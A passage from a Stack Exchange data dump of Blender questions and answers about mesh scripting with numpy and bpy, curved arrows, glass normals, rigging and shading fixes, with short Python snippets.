# try some stuff&#xA;    c = np.arange(7*6,dtype='int8').reshape(7,6)&#xA;    d = np.arange(7*6,dtype='int16').reshape(7,6)&#xA;&#xA;    faces = [tuple(thing) for thing in a]&#xA;&#xA;    verts = [tuple(thing) for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;&#xA;    me = bpy.data.meshes.new('digit')&#xA;    ob = bpy.data.objects.new('digit', me)&#xA;    bpy.context.scene.objects.link(ob)&#xA;    me.from_pydata(verts, [], faces)&#xA;&#xA;    return ob&#xA;&#xA;digity = make_7_seg(0.5, 2.0, 0.1, 0.15)&#xA;#&#xA;#  ---A---&#xA;# |       |&#xA;# F       B&#xA;# |       |&#xA;#  ---G---&#xA;# |       |&#xA;# E       C&#xA;# |       |&#xA;#  ---D---&#xA;#&#xA;#      A  B  C  D  E  F  G&#xA;# &quot;0&quot;  X  X  X  X  X  X  -&#xA;# &quot;1&quot;  -  X  X  -  -  -  -&#xA;# &quot;2&quot;  X  X  -  X  X  -  X&#xA;# &quot;3&quot;  X  X  X  X  -  -  X&#xA;# &quot;4&quot;  -  X  X  -  -  X  X&#xA;# &quot;5&quot;  X  -  X  X  -  X  X&#xA;# &quot;6&quot;  X  -  X  X  X  X  X&#xA;# &quot;7&quot;  X  X  X  -  -  -  -&#xA;# &quot;8&quot;  X  X  X  X  X  X  X&#xA;# &quot;9&quot;  X  X  X  X  -  X  X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2021-01-17T23:16:51.743" Title="Having problems with python int types specifying mesh faces again" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35361" PostTypeId="1" CreationDate="2015-08-09T12:06:28.277" Score="0" ViewCount="308" Body="&lt;p&gt;Gimp's flame plugin is a tool for creating cosmic recursive fractal flames. Could it be done for Blender as some object/mesh/curves with halo material? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be 2D. Just so we could animated it. I've made this in Gimp. &#xA;This is flame plugin link &lt;a href=&quot;https://github.com/piksels-and-lines-orchestra/gimp/tree/master/plug-ins/flame&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/piksels-and-lines-orchestra/gimp/tree/master/plug-ins/flame&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/enoyp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/enoyp.jpg&quot; alt=&quot;flame1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15873" LastActivityDate="2015-08-09T12:06:28.277" Title="Gimp's flame plugin for Blender" Tags="&lt;materials&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35362" PostTypeId="2" ParentId="35360" CreationDate="2015-08-09T12:44:44.483" Score="4" Body="&lt;p&gt;Pretty cool script btw, doing this worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;faces = [ [int(i) for i in thing] for thing in a]&#xA;verts = [ thing for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;faces = np.arange(7*6).reshape(7,6).tolist()&#xA;verts = [ thing for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I imagine there's a faster way to cast down to regular python &lt;code&gt;int&lt;/code&gt;s from Numpy -- That is however really a Numpy/Python problem and not BPY/Blender. I doubt that in this scenario &lt;em&gt;speed&lt;/em&gt; is of the utmost importance.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-09T12:50:05.160" LastActivityDate="2015-08-09T12:50:05.160" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35363" PostTypeId="1" AcceptedAnswerId="35369" CreationDate="2015-08-09T13:15:47.917" Score="7" ViewCount="1588" Body="&lt;p&gt;I have two objects that I want to connect using a curved arrow whose thickness should be variable. The following picture illustrates my intention:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vJxEQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJxEQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grey boxes have to be imagined as cylinders. I assume that I would have to create some curve that is attached to the two objects and extrude the curve accordingly, but I can not figure out how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help!&lt;/p&gt;&#xA;" OwnerUserId="16258" LastActivityDate="2015-08-10T07:20:34.117" Title="Curved arrow of variable thickness to connect to objects" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35364" PostTypeId="2" ParentId="35363" CreationDate="2015-08-09T14:03:31.117" Score="4" Body="&lt;p&gt;There is an addon you can get, it's called &quot;Tube Tool&quot;, this will make what you want for you very easy and give you much control over it.&#xA;More information here: &lt;a href=&quot;http://blenderaddonlist.blogspot.com/2015/05/addon-tube-tool.html?m=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderaddonlist.blogspot.com/2015/05/addon-tube-tool.html?m=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IS8Yz.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IS8Yz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-09T14:10:32.043" LastActivityDate="2015-08-09T14:10:32.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35365" PostTypeId="2" ParentId="35363" CreationDate="2015-08-09T14:44:17.260" Score="3" Body="&lt;p&gt;You simply can model those cubes and arrow.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Creating base - rectangles. I switched to Top View by &lt;kbd&gt;Numpad 7&lt;/kbd&gt;. Added 2 cubes, scaled them, selected the face pointing to me and used inset tool by &lt;kbd&gt;I&lt;/kbd&gt;. I scaled new face so it to be roughly the same rectangle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gvo6D.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gvo6D.jpg&quot; alt=&quot;curved-arrow_0_1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I flipped normals of the boundary faces so them to  create a knid of border (may be not the best way, depending on your scene you may rather use materials). I did the same with second cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I added a curve and positioned it, extruded new points and rotated them to get that shaped arrow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2LkmV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2LkmV.jpg&quot; alt=&quot;curved_arrow_2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I duplicated that curve, moved it by X and Y so it to be located roughly the same as the first. I made actual arrow and made curve cyclic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e8a8B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e8a8B.jpg&quot; alt=&quot;curved_arrow_3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After that I switched it to 2D curve and made &lt;strong&gt;Fill&lt;/strong&gt; option to &lt;em&gt;Front&lt;/em&gt;.The result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RIhU5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RIhU5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are a lot of ways to do that, it depends on animation needs. If you want to animate that curve's thickness then I think you might want to convert it to mesh and use Shape Keys. &lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-09T14:44:17.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35368" PostTypeId="1" CreationDate="2015-08-09T15:50:11.147" Score="3" ViewCount="224" Body="&lt;p&gt;The title says it all. When I change the pole angle of a bone to match the bones that control the direction knees and elbows are facing the mesh gets all twisted. How do I avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this rigging method:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=cGvalWG8HBU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: As you see the elbow is bending up, but I want it to bend back without the arm getting rotated (because of how the arm is shaped)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qqq90.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qqq90.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16007" LastEditorUserId="16007" LastEditDate="2015-08-09T17:32:47.027" LastActivityDate="2015-08-09T17:32:47.027" Title="Rigging - How do I change pole angle without affecting the mesh?" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35369" PostTypeId="2" ParentId="35363" CreationDate="2015-08-09T15:57:02.523" Score="8" Body="&lt;p&gt;I think you're looking for a scripted solution which allows you to define two points and the direction of the Curve. Remember; the thickness and colour of such Curves can be animated at a later stage, and the &lt;a href=&quot;https://blender.stackexchange.com/questions/31405/blender-orient-an-object-displaying-vector-arrows?lq=1&quot;&gt;Arrow or 'direction indicator' of the Curve is another matter.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept is each box you want to connect has an edge which will be a terminal for the Curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e3nFc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3nFc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exactly how you determine the length of these virtual guide lines is up to you, it could be some factor of the relative distance between the two terminals on the boxes -- really that's down to taste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script would create something like this, if you give it two terminal coordinates, and a direction for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ps074.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ps074.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the source of the TubeTool addon you'd get a fair idea of how to script it, but the core of the code is this snippet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def add_curve(medians, normals, curvename, amp=2):&#xA;    curvedata = bpy.data.curves.new(name=curvename, type='CURVE')&#xA;    curvedata.dimensions = '3D'&#xA;&#xA;    obj = bpy.data.objects.new('Obj'+curvename, curvedata)&#xA;    obj.location = (0,0,0) #object origin&#xA;    bpy.context.scene.objects.link(obj)&#xA;&#xA;    polyline = curvedata.splines.new('BEZIER')&#xA;    polyline.bezier_points.add(1)&#xA;    #   polyline.use_smooth = False&#xA;&#xA;    # obj.data.fill_mode = 'FULL'&#xA;    # obj.data.bevel_depth = 0.1&#xA;    # obj.data.bevel_resolution = 4&#xA;    point = polyline.bezier_points[0]&#xA;    co = medians[0]&#xA;&#xA;    point.co = co&#xA;    point.handle_left = co - (normals[0]*amp)&#xA;    point.handle_right = co + (normals[0]*amp)&#xA;&#xA;    point = polyline.bezier_points[1]&#xA;    co = medians[1]&#xA;    point.co = co&#xA;    point.handle_right = co - (normals[1]*amp)&#xA;    point.handle_left = co + (normals[1]*amp)&#xA;&#xA;    polyline.order_u = len(polyline.points)-1  &#xA;&#xA;medians = [Vector((-2, 0, 0)), Vector((2,3,0))]&#xA;normals = [Vector((0, 2, 0)), Vector(( -2, 0, 0))]  &#xA;add_curve(medians, normals, &quot;curvename&quot;, amp=1.2)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that gives (with the extras commented out, like thickness) this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DRpQI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRpQI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;medians&lt;/code&gt;: Absolute coordinates, Vectors. (Location)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;normals&lt;/code&gt;: Relative to the median they're associated with. (Direction, and Distance away from Location)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;amp&lt;/code&gt;:  'push factor' for the control point. The &lt;code&gt;amp&lt;/code&gt; parameter pushes the control points along the normals, effectively scaling the control points to be further away or closer to the terminal)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-10T07:20:34.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35370" PostTypeId="1" AcceptedAnswerId="35374" CreationDate="2015-08-09T16:44:52.210" Score="5" ViewCount="4342" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PRtya.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRtya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From top view glass looks like glass but from side view It looks like this:&lt;a href=&quot;https://i.stack.imgur.com/KwS8q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwS8q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why its not transparent and how I can make it transparent ? &lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-08-09T19:37:38.133" Title="Blender cycles glass from sideview not transparent at all" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35371" PostTypeId="2" ParentId="35363" CreationDate="2015-08-09T16:58:50.990" Score="7" Body="&lt;p&gt;I would do this with curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a curve that is going to be the tip of the arrow.&#xA;In edit mode align the control points on the Y axis by selecting them and pressing &lt;strong&gt;&lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exit edit mode and rotate the curve 90 degrees in the X axis. (&lt;strong&gt;&lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to edit mode and shape the tip of the arrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QzSrd.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QzSrd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new curve (repeat the steps to align it on the Y axis and rotate in X)&#xA;and add a hook to the control point next to the tip. This will create an Empty that controls that end of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dyHrx.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dyHrx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a hook to the other end of the curve. (sorry no picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the curve that will serve as the tip, &lt;kbd&gt;Shift&lt;/kbd&gt; Select the empty and press &lt;strong&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt;&lt;/strong&gt; to parent it the curve to the empty. Now the tip and the curve will move together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LKMFV.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LKMFV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now give the curves some extrusion and bevel to make them renderable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nyarf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nyarf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3Dkyg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Dkyg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now by moving and rotating the empties that control the curves you can have the arrow do whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tdMjb.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tdMjb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you parent the empties to the objects you want to connect then moving the objects will make the arrow follow. See &lt;a href=&quot;https://blender.stackexchange.com/a/21061/1853&quot;&gt;this answer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-09T17:11:26.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35372" PostTypeId="1" CreationDate="2015-08-09T17:42:16.827" Score="5" ViewCount="472" Body="&lt;p&gt;I am trying to use a Vector Curves node to describe a abrupt transition based on a value. In the following figure, I have setup a test case where I am trying to make the material transition from blue to red at .8 to .81 . However the transition happens at .62 to .63 (see Combine XYZ). It appears that the mapping is aprox .2 ahead of its expected value (see the Greater Than node). Does anyone have any advice on what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note material is just an example to illustrate a more general problem I am having. I realize there are other methods of building the transition, but I like the idea of using a curve to describe the mapping. &#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/FJTBw2G.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16244" LastEditorUserId="16244" LastEditDate="2015-08-09T18:41:23.120" LastActivityDate="2015-10-26T19:58:12.707" Title="Using Vector Curves Nodes for transitions" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35373" PostTypeId="1" CreationDate="2015-08-09T17:49:24.127" Score="1" ViewCount="104" Body="&lt;p&gt;&lt;strong&gt;I apologize if I've made any mistakes prior to encountering this problem, I'm still new to rigging.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, so I made a model and rigged it, but every time i rotate/grab a bone, the mesh doesn't follow correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/pSYoBna.png&quot; alt=&quot;location error&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/8IvsSTM.png&quot; alt=&quot;rotation error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file: &lt;a href=&quot;http://www.mediafire.com/download/ny2yon0s53ibpyf/wonkyrig.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/ny2yon0s53ibpyf/wonkyrig.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried asking on other sites, but I've had no luck. I would really appreciate the help. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16267" LastActivityDate="2015-08-09T17:49:24.127" Title="Blender rig not working correctly. What do I do?" Tags="&lt;modifiers&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35374" PostTypeId="2" ParentId="35370" CreationDate="2015-08-09T18:01:13.577" Score="7" Body="&lt;p&gt;Your &lt;a href=&quot;https://www.blender.org/manual/glossary/index.html?highlight=face%20normal#term-face-normal&quot; rel=&quot;noreferrer&quot;&gt;normals&lt;/a&gt; are facing the wrong way - press &lt;kbd&gt;Ctrl-N&lt;/kbd&gt; in edit mode (with everything selected) to recalculate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How they were before (wrong):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EZoqD.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZoqD.png&quot; alt=&quot;wrong&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After recalculating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cLTFU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLTFU.png&quot; alt=&quot;right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the glass looks bad with inverted normals is because glass uses a fresnel function to calculate where the most reflections should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aqHZf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqHZf.png&quot; alt=&quot;fresnel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3nmzB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nmzB.png&quot; alt=&quot;glass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(both spheres use exactly the same material)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2015-08-09T19:26:52.097" LastActivityDate="2015-08-09T19:26:52.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35375" PostTypeId="1" CreationDate="2015-08-09T18:40:37.607" Score="5" ViewCount="2289" Body="&lt;p&gt;Is there a way to do Planar UV mapping that maps front and back side into separate UV islands? In a way that the front side islands are on the left half of the UV map and the back side islands are on the right half of the UV map? The Project From View maps both sides into one island in the center of the UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to make simple retro styled UV maps, like in Quake1 and 2.&lt;/p&gt;&#xA;" OwnerUserId="16251" LastActivityDate="2015-08-09T20:13:12.853" Title="Planar UV Mapping?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35376" PostTypeId="1" CreationDate="2015-08-09T18:54:49.943" Score="7" ViewCount="2102" Body="&lt;p&gt;this is the first time I've used this website, sorry if I dont organize the post wrong. I've been using Blender for a couple months now, so I'm not too terribly new, however, There are these weird black shadows on my model and its driving me crazy, as I cant get rid of them. They're not a normals issue, as I've already recalculated them and it's not that. Does anyone know what causes this? Its in object mode, by the way. It happens anywhere.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6jWD2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jWD2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Its probably a problem with the way I modeled it or something, as it's happening around these sharp edges. Here is it in edit mode.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CRciN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRciN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Here is it in edit mode. Does anyone see anything wrong that I did? I'm sure I did something wrong. &#xA;Thanks so much for your help.&lt;/p&gt;&#xA;" OwnerUserId="16268" LastActivityDate="2015-08-09T20:39:02.367" Title="Black shadows on Faces, not a normals thing" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35377" PostTypeId="2" ParentId="35355" CreationDate="2015-08-09T19:01:07.967" Score="5" Body="&lt;p&gt;You could also do this with &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bmesh.html&quot; rel=&quot;noreferrer&quot;&gt;Bmesh module&lt;/a&gt;, which does not require mode switches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Matrix&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;bm = bmesh.new()&#xA;bmesh.ops.create_cone(bm, cap_ends=True, segments=32, diameter1=1, diameter2=1, depth=2)&#xA;&#xA;caps = [f for f in bm.faces if len(f.verts) &amp;gt; 4]&#xA;bottom_cap = min(caps, key=lambda f: f.verts[0].co.z)&#xA;&#xA;mat = Matrix.Identity(4)&#xA;mat[0][0] = 1/3&#xA;mat[1][1] = 1/3&#xA;mat[2][2] = 1&#xA;bmesh.ops.transform(bm, matrix=mat, verts=bottom_cap.verts)&#xA;&#xA;me = bpy.data.meshes.new(&quot;Cylinder&quot;)&#xA;bm.to_mesh(me)&#xA;me.update()&#xA;&#xA;ob = bpy.data.objects.new(&quot;NewCylinder&quot;, me)&#xA;ob.location = scene.cursor_location&#xA;scene.objects.link(ob)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: The same result (with bottom face scaled down by 1/3) can also be achieved with a single call to &lt;code&gt;create_cone()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# diameter1 controls the size of the bottom cap&#xA;bmesh.ops.create_cone(bm, cap_ends=True, segments=32, diameter1=1/3, diameter2=1, depth=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-09T19:01:07.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35378" PostTypeId="2" ParentId="35376" CreationDate="2015-08-09T19:06:33.077" Score="4" Body="&lt;p&gt;This occurs because you have smooth shading applied to your model. To resolve this, ensure affected topologies are selected, go to the Tool Panel &lt;kbd&gt;T&lt;/kbd&gt; goto 'Shading' section select 'Flat'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also apply an 'Edge Split' modifier, found under the Modifier tab in Properties Panel. Split edges need to be marked, once selected, with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;. Dragging the mouse up/down to define amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also add more Geometry to the mesh. Either manually with 'Edge Loops' &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; or by adding a 'Subdivision Surface' modifier, also found in the Modifier tab in Properties Panel.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15507" LastEditDate="2015-08-09T20:39:02.367" LastActivityDate="2015-08-09T20:39:02.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
